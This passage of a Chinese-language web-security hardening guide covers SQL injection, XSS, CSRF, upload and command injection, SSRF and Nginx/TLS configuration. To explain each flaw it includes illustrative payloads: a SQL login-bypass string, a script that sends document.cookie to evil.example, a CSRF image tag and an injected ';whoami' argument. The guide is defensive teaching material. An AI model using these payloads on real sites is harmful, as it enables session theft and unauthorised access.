作为一名长期做Web开发和运维的人我每天都要和“web安全”打交道。很多人问我“安全到底该怎么学”我说你先别急着学攻击技巧先把防线搭起来。web安全是一个系统性工程不是装个防火墙、加个密码就完事了它涉及代码、服务器、数据库、网络传输、账号权限管理等方方面面。这篇文章我会从最常见的问题讲起把web安全常见漏洞有哪些、web服务器安全怎么做、线上防护怎么落地以及我在实际项目中踩过的坑一次性梳理清楚。不管是刚入行的新人还是带团队的技术负责人都可以把这份指南当做一个防御检查清单来用照着过一遍比临时抱佛脚强太多。1. 认清攻击面web安全到底在防什么1.1 Web应用安全的本质从“信任输入”到“不信任一切”Web安全这个词听起来很大拆开看其实就一句话不要把任何来自客户端的数据当作可信数据。用户输入、请求头、Cookie、上传文件、第三方回调全部都要当成“不可信数据”来处理。你把这个信念贯彻到开发和运维的每个环节挡住90%的攻击都不是问题。打个比方你家的房子值钱东西多门锁、窗户、猫眼都得检查。攻击者不会从加固最严的地方正面撞门而是专挑没上锁的窗户、忘了关的后门。Web应用也一样攻击路径很多但入口就那么几个一个参数、一个文件上传接口、一个被遗忘的管理后台都可能成为突破点。我见过太多案例系统被入侵后复盘发现原因极其朴素——某台测试服务器还在用默认密码某个老接口没有做鉴权某个上传目录可以执行脚本。这说明一个问题大多数被攻破的系统用的都不是什么高深技术而是非常基础的缺陷被漏掉了。所以web安全入门的第一课不是去研究黑客工具而是先学会梳理自己的攻击面。1.2 常见攻击路径与影响范围要防护先要知道对手可能从哪里进来。我把常见攻击路径按部位拆开方便对照检查攻击位置典型漏洞可能造成的后果应用层参数SQL注入、命令注入数据泄露、服务器被控制前端交互层XSS跨站脚本、CSRF用户会话被盗、账号被操作身份认证层弱口令、失效的访问控制未授权访问、越权查看数据文件处理层任意文件上传、路径穿越WebShell植入、源码泄露依赖组件第三方库漏洞、框架版本过老反序列化、RCE远程代码执行服务器配置目录列举、错误信息泄露、开放多余端口信息收集便利化、横向移动传输链路HTTP明文、弱加密套件中间人窃听、数据被篡改这七类问题基本覆盖了我在实际工作中遇到的绝大多数安全事件。你可以把这张表当做体检项目定期拿出来对照自家系统查一遍。每发现一个风险点就标记为“待修复”然后排期处理。别想着一次性全部搞定一步一个脚印地补安全水平就比大多数人强了。还有一个容易被忽略的点业务的逻辑漏洞不在常规漏洞扫描器里。比如优惠券可以重复领取、找回密码接口可以被遍历、订单金额可以被篡改这类问题扫描器扫不出来只能靠代码评审和人工测试。这也是我在团队里反复强调的——安全不是“上线前扫一次”就结束而是要贯穿整个研发流程。2. 漏洞解剖web安全常见漏洞有哪些原理和成因是什么2.1 SQL注入最经典的“拼字符串”教训SQL注入是web安全里最经典、也最有代表性的漏洞。它的成因特别简单开发者把用户的输入直接拼接进了SQL语句数据库错误地把用户输入当成了SQL代码来执行。举个最典型的例子一段登录代码可能是这样的# 这样写是错的仅用于说明漏洞原理 sql SELECT * FROM users WHERE username username AND password password 如果用户在用户名框输入admin --拼出来的SQL就变成了SELECT * FROM users WHERE username admin -- AND password xxx由于--后面的内容被当成注释攻击者不需要知道密码就能以admin身份登录。更严重的版本是 OR 11、UNION SELECT、堆叠查询等手法可以直接拖库、写文件、创建管理员账号。修复方式只有一条路永远不要用拼接方式构造SQL用参数化查询。# 正确做法参数化查询数据永远只是数据 sql SELECT * FROM users WHERE username %s AND password %s cursor.execute(sql, (username, password))参数化查询的原理是把SQL结构和数据分开传递数据库只把数据当作字面值处理根本不给它执行的机会。这比任何过滤函数都可靠因为过滤总有漏网之鱼而参数化是从机制上断了这条路。实操里还有一个补充项给数据库账号设置最小权限。我见过不少项目连接数据库用的都是root账号这就相当于把家门钥匙直接交给所有租客。正确的做法是一个应用一个独立账号只能访问自己需要的库和表权限只到SELECT、INSERT、UPDATE、DELETE为止。即便发生了注入攻击者能干的事情也极其有限。2.2 XSS跨站脚本当浏览器执行了你的数据XSS跨站脚本攻击的受害者和SQL注入完全相反。SQL注入打的是服务端XSS打的是访问网站的用户。原理是攻击者把脚本代码塞进某个输入框服务端没有过滤直接存储并在页面输出于是其他用户打开页面时浏览器执行了这段恶意脚本。举个例子一个留言板功能用户提交scriptfetch(https://evil.example/steal?cookie document.cookie)/script如果代码没有对输出内容做转义这段脚本就会在每个浏览这个留言板的人浏览器里执行窃取他们的Cookie、会话ID甚至模拟用户操作。XSS分三种形态反射型参数中的脚本直接回显、存储型脚本存在服务端每次访问都触发、DOM型脚本在前端逻辑中拼接DOM触发。防御XSS核心口诀是“输入做验证输出做编码”。输出编码尤其关键根据上下文不同编码方式也不同。HTML标签内、标签属性内、JavaScript字符串内、URL内各自有不同的转义规则。推荐直接用成熟框架自带的模板转义功能比如前端框架的插值语法默认就会转义千万别自己手写一个“万能过滤函数”很容易漏场景。配套措施还有两条给Cookie加上HttpOnly属性让JavaScript无法读取敏感Cookie给页面配置CSP内容安全策略限制脚本只能从白名单域名加载。这两招加上输出编码XSS基本就很难打了。2.3 CSRF借你的身份干坏事CSRF跨站请求伪造的受害者也是用户。攻击者利用的是浏览器会自动携带目标站点的Cookie所以只要用户在登录状态下访问了恶意网站恶意网站就可以伪造请求冒用用户的身份去操作目标站点。一个非常经典的场景某个后台管理系统的“删除文章”接口是GET请求ID直接放在URL里。攻击者在自己的页面上放一张图片img srchttps://admin.example.com/delete?id123 /管理员只要在登录状态下浏览了攻击者的页面浏览器就会自动请求这个URL文章被删了管理员自己都不知道发生了什么。CSRF防御方案最基础的是CSRF Token在每一次敏感操作的表单里添加一个随机Token服务端校验Token是否匹配。因为恶意网站无法读取目标站点页面内容也就拿不到Token伪造请求自然失败。近两年的浏览器技术提供了一个更省心的方案SameSiteCookie属性。只要在设置Cookie时加上SameSiteLax或SameSiteStrict浏览器就会限制跨站请求携带这个CookieCSRF在绝大多数场景下直接失效。我强烈建议新项目直接把安全性加到Cookie配置里老项目也要尽快补上。不过要注意SameSiteStrict在某些场景下会影响用户体验比如从第三方站点跳转登录后的状态保持上线前一定要实际测一下。2.4 文件上传与命令执行漏洞文件上传功能几乎是每个业务系统的标配但也是最容易出安全问题的功能。常见的有两个坑一是没有校验文件类型导致用户上传了PHP、JSP、ASP等可执行脚本二是文件存储在了Web可访问目录下脚本被直接访问执行也就是俗称的“WebShell”。修复文件上传漏洞的标准做法是组合拳文件后缀用白名单校验不要用黑名单因为黑名单永远列不全php、php5、phtml、phar…。文件内容也要校验最稳妥的是检测文件头Magic Number别只看后缀。上传文件后重组文件名改成随机字符串让攻击者猜不到文件路径。存储路径放到Web根目录之外通过独立域名或内部路由来访问。如果必须放在Web目录关闭该目录的脚本执行权限。我在Nginx里通常会这样配置静态目录location ^~ /uploads/ { location ~* \.(php|php5|phtml|jsp)$ { deny all; } }命令执行漏洞和文件上传类似本质也是“不该执行的东西被执行了”。典型场景是Java的Runtime.exec()、PHP的system()、Python的os.system()只要参数里混入了用户可控内容就可能被拼接成恶意命令。比如一个“导出报表”功能把用户输入的日期直接拼进shell命令攻击者输入2025-01-01;whoami命令就多执行了一条。修复思路和SQL注入一样能不用系统命令就不用必须用时用参数数组方式调用绝对不做字符串拼接。同时建议在PHP、Java等环境里禁用危险函数或使用沙箱机制减少被利用后的损失。2.5 其他高危点SSRF、反序列化、失效的访问控制除了上面几个“大牌”漏洞还有几个近年越来越常见的高危点我觉得有必要讲一下。**SSRF服务端请求伪造**专门针对“服务端会去请求第三方URL”的功能比如图片抓取、URL预览、Webhook配置。攻击者让服务端去请求内网地址读取内部接口数据、探测内网端口甚至打云服务器的元数据服务获取临时密钥。防御方法URL协议做白名单只允许http/https、解析后的IP做内网地址黑名单、限制请求超时和重定向次数更彻底的做法是配置网络ACL让应用服务器根本无法访问内网敏感地址。反序列化漏洞常见于Java、PHP、Python这些有天然序列化机制的语言。攻击者构造一个恶意的序列化对象数据服务端在unserialize()或readObject()时触发恶意代码执行。这类漏洞利用门槛高但只要中招就是RCE远程代码执行属于致命级别。防御核心除了升级组件版本就是永远不要反序列化不可信来源的数据如果必须要用加一层签名或者消息认证确保数据没有被篡改。失效的访问控制听起来不如注入那么“有名”但根据OWASP最近几年的统计它已经常年位居榜首。典型表现直接修改URL中的ID访问他人订单、越权调用管理员接口。这类漏洞完全不需要什么技术含量攻击者就是“逐个试ID”。防御方式很朴素每个接口都要做鉴权、每个对象都要做归属校验不要只在前端隐藏按钮服务端该校验的必须校验。3. Web服务器安全从基础配置开始防护3.1 最小权限原则让每个组件都“少拿权限”Web应用跑在服务器上服务器的安全基线直接决定了应用安全的上限。先记住一个原则权限越少风险越小。第一条进程不要用root跑。不管是Nginx、Tomcat还是PHP-FPM都应该有独立的低权限用户。攻击者一旦拿到WebShell如果进程是root就相当于拿到了整台服务器的权限如果是普通用户攻击者被困在应用目录里想提权还需要再花很大力气。第二条文件权限要收敛。存Web代码的目录建议设置为755目录可读可执行仅属主可写存储目录如uploads如果需要写设为755并确保属主正确配置文件把敏感信息数据库密码、密钥放在应用目录之外权限设为600。别图省事把整个项目chmod 777那等于给自己挖坑。第三条关闭不需要的服务和端口。每次上线前我习惯用ss -tlnp检查监听端口把不必要的端口全部关掉或限制来源IP。特别是Redis、MySQL、MongoDB这类服务绝对不要监听在0.0.0.0应该在云安全组和服务器防火墙里做双重限制只允许应用服务器内网IP访问。3.2 Nginx配置基线从默认配置到规范配置的差距Web服务器软件本身也要做安全配置。以最常见的Nginx为例我整理了一份精简的基线配置可以直接参考# 隐藏版本号防止针对性漏洞扫描 server_tokens off; # 关闭目录列举 autoindex off; # 限制请求体和请求头大小防止超大数据包攻击 client_max_body_size 10m; large_client_header_buffers 4 16k; # 设置超时时间防止慢速攻击拖死服务 client_body_timeout 10s; client_header_timeout 10s; keepalive_timeout 5s; # 只允许特定的HTTP方法 # 如果不需要PUT、DELETE就别开 # 可以在location里加if ($request_method !~ ^(GET|HEAD|POST)$) { return 405; } # 访问日志格式中加入真实来源IP等字段方便追溯 log_format main $remote_addr - $remote_user [$time_local] $request $status $body_bytes_sent $http_referer $http_user_agent $http_x_forwarded_for;这些配置看着都是一行一行的小事但组合起来效果很实在。隐藏版本号能减少扫描器按版本匹配攻击方式的概率关闭目录列举能防止目录结构泄露限制请求体大小能缓解恶意大文件上传设置超时能减少慢速HTTP攻击对连接的占用。每一条都不难难的是“坚持把这些细节落到每一台服务器上”。我对团队的要求是Nginx配置必须收敛成“最小可用”不允许每个人按自己习惯加配置。配置文件多了、杂了自己都说不清哪些是干什么的安全隐患也会藏在这种混乱里。3.3 依赖与组件版本管理别让第三方软件拖垮你Web应用很少是纯自研代码通常依赖大量开源组件、框架、SDK。这些第三方代码里的漏洞很多时候比你自己写的代码更危险。举几个真实例子Log4j2的远程代码执行漏洞Log4Shell影响范围覆盖全球无数Java应用某个老版本OpenSSL导致的Heartbleed漏洞让多少金融机构被迫紧急换证书。这些漏洞的共同特点是修复起来不难难的是你不知道自己哪些系统受影响。所以做好资产管理比啥都重要。我建议每季度做一次依赖扫描至少要做到记录生产环境所有组件的名称和版本形成一个软件清单用工具扫描依赖库的已知CVE常见漏洞和暴露关注官方安全公告重要的补丁在1周内安排灰度升级不推荐一直用“最新版”但超过生命周期EOL的版本必须升级。还要注意镜像仓库也要管起来。如果你用Docker部署基础镜像尽量使用带安全修复的版本Dockerfile里别用latest标签业务依赖锁死版本号。我踩过一次教训上游镜像悄悄变了内容重新拉取后应用行为不一致排查了很久。3.4 HTTPS/TLS与HTTP安全头传输层也要上锁域名能解析到你的服务器不代表传输过程就是安全的。HTTP明文传输意味着用户在咖啡厅连WiFi时任何中间环节都能看到数据包内容和Cookie这种攻击叫中间人窃听。现在证书办理成本已经很低了全站启用HTTPS没有任何借口。需要关注的细节协议版本至少启用TLS 1.2最好TLS 1.3禁用SSLv3和TLS 1.0/1.1这些老协议有已知弱点密码套件优先选择AEAD类比如ECDHE-RSA-AES128-GCM-SHA256这类配置HSTSHTTP严格传输安全响应头告诉浏览器“这个域名只允许HTTPS访问不要再尝试HTTP”证书要设置自动化续期避免证书过期导致的访问异常和安全告警。Nginx中典型的HTTPS配置片段server { listen 443 ssl http2; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384; ssl_prefer_server_ciphers off; # 开启HSTS add_header Strict-Transport-Security max-age63072000; includeSubDomains always; }HTTP安全头不只是HSTS还有几个非常值得配置X-Content-Type-Options: nosniff防止浏览器错误猜测文件类型X-Frame-Options: DENY或现代版的frame-ancestors防止点击劫持Referrer-Policy控制敏感信息是否随Referer泄露Content-Security-Policy限制页面内容来源。后面我会专门讲CSP。4. 防护手段落地从开发到运维的每一道防线4.1 输入验证与输出编码两道最基础也最重要的关卡我始终觉得安全防线的地基就是“输入验证 输出编码”这八个字。听起来像老生常谈但很多漏洞的根源恰恰是把这两件事做反了——该验证的没验证该编码的没编码。输入验证的原则是“信任白名单而不是黑名单”。能枚举的就枚举比如性别、状态、类型字段用枚举或数字代替自由文本不能枚举的设置最大长度、格式校验邮箱、手机号、日期用正则。比如一个“年龄”参数校验范围是0-120的整数这比过滤掉特殊字符可靠得多。输出编码的原则是“凡事都要转义区分上下文”。同样是“